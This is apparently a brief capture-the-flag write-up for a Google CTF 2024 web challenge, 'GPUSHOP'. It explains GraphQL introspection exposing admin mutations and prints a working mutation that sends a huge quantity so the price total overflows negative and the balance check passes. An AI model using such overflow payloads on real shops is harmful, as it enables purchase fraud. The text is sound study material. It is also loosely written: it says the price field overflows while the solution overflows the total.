GPUSHOP - Google CTF 2024 Writeup

GraphQL introspection reveals hidden admin mutations. Integer overflow in the price field allows purchasing a $999 GPU for $-1 (negative price billing).

🚩 Challenge Overview

• Platform/Event: Google CTF 2024
• Difficulty: Medium
• Points: 253
• Solves: 62
• Category: Web
• Tags: GraphQL, Integer Overflow, Business Logic

---

📝 Description

GraphQL introspection reveals hidden admin mutations. Integer overflow in the price field allows purchasing a $999 GPU for $-1 (negative price billing).

---

💡 Solution / Approach

mutation {
  purchaseItem(itemId: "GPU_4090", quantity: 2147483647) {
    receipt
    flag
  }
}

Integer overflow on quantity * price wraps to negative → balance check passes.